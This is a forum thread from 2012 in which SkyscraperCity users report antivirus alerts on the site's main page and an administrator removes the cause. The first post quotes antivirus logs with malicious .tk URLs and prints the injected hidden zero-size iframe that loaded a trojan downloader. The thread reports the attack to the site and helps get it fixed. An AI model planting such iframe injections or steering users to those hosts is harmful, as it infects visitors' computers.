daily menu » rate the banner | guess the city | one on oneforums map | privacy policy | DMCA | news magazine | posting guidelines

Go Back   SkyscraperCity > Fun Forums > About the forums

About the forums » testing | archive



Global Announcement

As a general reminder, please respect others and respect copyrights. Go here to familiarize yourself with our posting policy.


Reply

 
Thread Tools
Old March 25th, 2012, 04:28 PM   #1
Andre_L
Registered User
 
Join Date: Jul 2010
Posts: 25
Likes (Received): 0

Ssc infected ?

Hello, this started today, whenever i load the ssc main page i get a warning from my AV suite about

(i placed the raw report from my av inside the code tag to avoid someone accidentally clicking the link, dont paste them into your browser unless you want to get infected)
Code:
3/25/2012 2:03:06 PM	Firefox	Denied: Trojan-Downloader.JS.Expack.ia	Yes	http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa//main

and

3/25/2012 1:56:48 PM	Firefox	Denied: http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa (analysis using the database of suspicious URLs)	Yes	http://vsuk.org.in/index.php?src=54&surl=rtetregfdf.tk&sport=80&suri=/main.php%3fpage=a9b483aad1a897fa	URL found in the database


i am 100% this is not an issue on my end (like a virus, etc) i can take a screenshot and even record a small video of it happening if necessary...this IS coming from ssc, somewhere.

hopefully this is cleared up and looked into before users (possibly ?) get infected.

edit

you can find this in an iframe on line 2545 of the HTML code of the ssc main page

Code:
		<div class="smallfont">For those who enjoy big city traveling<iframe src="http://rtetregfdf.tk/main.php?page=a9b483aad1a897fa" width="0" height="0"></iframe></div>

Last edited by Andre_L; March 25th, 2012 at 05:09 PM.
Andre_L no está en línea   Reply With Quote

Sponsored Links
 
Old March 25th, 2012, 05:57 PM   #2
Suburbanist
on the road
 
Suburbanist's Avatar
 
Join Date: Dec 2009
Location: Breda<->'s-Hertogenbosch<->Eindhoven triangle
Posts: 19,861
Likes (Received): 6545

Same here... Index page blocked by my anti-malware software.
__________________
"For every complex problem there is a solution that is simple, clear and wrong."
Suburbanist no está en línea   Reply With Quote
Old March 25th, 2012, 07:39 PM   #3
RiSHi
Registered User
 
RiSHi's Avatar
 
Join Date: May 2008
Location: Raipur CG
Posts: 264
Likes (Received): 112

+1 ya same in my PC with avast anti virus .....



Uploaded with ImageShack.us



Uploaded with ImageShack.us

Last edited by RiSHi; March 25th, 2012 at 07:45 PM.
RiSHi no está en línea   Reply With Quote
Old March 25th, 2012, 08:17 PM   #4
DaiTengu
Bastard Operator From Hell
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,623
Likes (Received): 445

got it. thanks guys.
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams

Spaceholder - DaiTengu.com | My Google+ page | DaiTengu on Twitter | DaiTengu on About.me
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 02:30 AM   #5
Nexis
Greetings form New Jersey
 
Nexis's Avatar
 
Join Date: Aug 2007
Location: Along the Pascack Valley line
Posts: 5,119
Likes (Received): 1206

I got that 2 days ago , it seems to be moving around the site....
__________________
My FLICKR Page < For Cityscapes , Nature , Food , Construction projects around the NYC Metro , and infrastructure
My Youtube Page< Railroads and Urban Transportation in the Northeastern US
Please use the BBCode! when sharing my Photos on this site or others , it gives a link back to my Photo. It is very easy simple and easy to use.
Copy and Paste the code from the Photo onto the forum.
Nexis no está en línea   Reply With Quote
Old March 26th, 2012, 08:09 AM   #6
DaiTengu
Bastard Operator From Hell
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,623
Likes (Received): 445

any links you find with it, please give them to me immediately.
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams

Spaceholder - DaiTengu.com | My Google+ page | DaiTengu on Twitter | DaiTengu on About.me
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 07:23 PM   #7
mediar
Digital.Creation
 
mediar's Avatar
 
Join Date: Dec 2008
Location: Varna
Posts: 3,213
Likes (Received): 2021

My Chrome a moment ago:

Code:
Unsafe JavaScript attempt to access frame with URL http://www.skyscrapercity.com/index.php from frame with URL http://trrtertd554.tk/main.php?page=a9b483aad1a897fa.
__________________
Mediar's Site

When you're going to capture a video, FIRST TURN THE IMAGE STABILIZATION OFF!
mediar no está en línea   Reply With Quote
Old March 26th, 2012, 07:26 PM   #8
specialdj
Registered User
 
Join Date: Jan 2007
Location: Belfort/Le Havre
Posts: 143
Likes (Received): 5

AVG also today, for the first time on SSC, told me that a threat has been blocked.
specialdj no está en línea   Reply With Quote
Old March 26th, 2012, 07:28 PM   #9
joshsam
JR
 
joshsam's Avatar
 
Join Date: Jul 2009
Location: Sint-Truiden
Posts: 5,153
Likes (Received): 1947

Yep have it on the main page right know, can't copy the link.
__________________
WxWxHxC
BRUSSELS | the good, the bad and the ugly
joshsam está en línea ahora   Reply With Quote
Old March 26th, 2012, 07:34 PM   #10
murlee
ВANNED
 
murlee's Avatar
 
Join Date: Nov 2009
Location: Chennai/Faridabad
Posts: 10,614
Likes (Received): 4094

Yes.. Its on the main page now. My Avast just now blocked it.
murlee no está en línea   Reply With Quote
Old March 26th, 2012, 07:52 PM   #11
DaiTengu
Bastard Operator From Hell
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,623
Likes (Received): 445

damnit, I can't leave my house for 10 minutes :argh:
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams

Spaceholder - DaiTengu.com | My Google+ page | DaiTengu on Twitter | DaiTengu on About.me
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 07:52 PM   #12
Marcanadian
Moderator
 
Marcanadian's Avatar
 
Join Date: May 2005
Location: Toronto
Posts: 11,891
Likes (Received): 996

Just got it on the main page:

Marcanadian no está en línea   Reply With Quote
Old March 26th, 2012, 07:54 PM   #13
joshsam
JR
 
joshsam's Avatar
 
Join Date: Jul 2009
Location: Sint-Truiden
Posts: 5,153
Likes (Received): 1947

It's gone for me now. DaiTengu fixed it allready!
__________________
WxWxHxC
BRUSSELS | the good, the bad and the ugly
joshsam está en línea ahora   Reply With Quote
Old March 26th, 2012, 09:06 PM   #14
DaiTengu
Bastard Operator From Hell
 
DaiTengu's Avatar
 
Join Date: Sep 2006
Location: Appleton
Posts: 2,623
Likes (Received): 445

Quote:
Originally Posted by joshsam View Post
It's gone for me now. DaiTengu fixed it allready!
the task of finding out where the injection comes from in the first place is ... difficult
__________________
Human beings, who are almost unique in having the ability to learn from the experience of others, are also remarkable for their apparent disinclination to do so.
- Douglas Adams

Spaceholder - DaiTengu.com | My Google+ page | DaiTengu on Twitter | DaiTengu on About.me
DaiTengu no está en línea   Reply With Quote
Old March 26th, 2012, 10:06 PM   #15
Kiboko
hubba hubba
 
Kiboko's Avatar
 
Join Date: Nov 2011
Posts: 1,462
Likes (Received): 292

I also got a trojan today after visiting the mainpage
Kiboko no está en línea   Reply With Quote
Old March 27th, 2012, 12:50 AM   #16
Marcanadian
Moderator
 
Marcanadian's Avatar
 
Join Date: May 2005
Location: Toronto
Posts: 11,891
Likes (Received): 996

Seems to be okay now. Thanks DaiTengu!
Marcanadian no está en línea   Reply With Quote
Old March 29th, 2012, 01:43 PM   #17
Ion Cannon
Registered User
 
Ion Cannon's Avatar
 
Join Date: Mar 2012
Posts: 186
Likes (Received): 16

Seems to be back on the main page again.
Ion Cannon no está en línea   Reply With Quote
Old March 29th, 2012, 03:01 PM   #18
Jan
High there, what's up!
 
Jan's Avatar
 
Join Date: Jul 2002
Location: SkyscraperCity
Posts: 18,735
Likes (Received): 4341

^ got it, thank for pointing out
Jan está en línea ahora   Reply With Quote
Old March 29th, 2012, 07:50 PM   #19
hypnotoad
█ ▇ ▃ ▁ ▄ ▅ █
 
hypnotoad's Avatar
 
Join Date: Dec 2010
Location: Ёνεиτ Ηοrιζōи
Posts: 874
Likes (Received): 428

My computer got infected some days ago and my antivirus couldn't
detect/clean it. I *think* that happened while I was browsing the SSC
pages, I'm not sure though. The virus didn't delete anything, all
it did was to set a different value to every single option in Windows 7,
resulting in a completely blank windows interface, where even windows
task manager couldn't be launched. I got rid of that thing couple of
hours later, and after installing a new anti-malware program.
hypnotoad no está en línea   Reply With Quote
Old March 30th, 2012, 03:53 PM   #20
xJamaax
Registered User
 
xJamaax's Avatar
 
Join Date: Apr 2010
Location: Nairobi
Posts: 15,326

I have been getting a pop up to open or save forumdisplay.php. I dont know whether this is a problem with SSC or my PC.
xJamaax no está en línea   Reply With Quote


Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



All times are GMT +2. The time now is 02:44 PM.


Powered by vBulletin® Version 3.8.8 Beta 1
Copyright ©2000 - 2014, vBulletin Solutions, Inc.
Feedback Buttons provided by Advanced Post Thanks / Like v3.2.5 (Pro) - vBulletin Mods & Addons Copyright © 2014 DragonByte Technologies Ltd.

vBulletin Optimisation provided by vB Optimise (Pro) - vBulletin Mods & Addons Copyright © 2014 DragonByte Technologies Ltd.

SkyscraperCity ☆ In Urbanity We trust ☆ about us | privacy policy | DMCA policy

Hosted by Blacksun, dedicated to this site too!
Forum server management by DaiTengu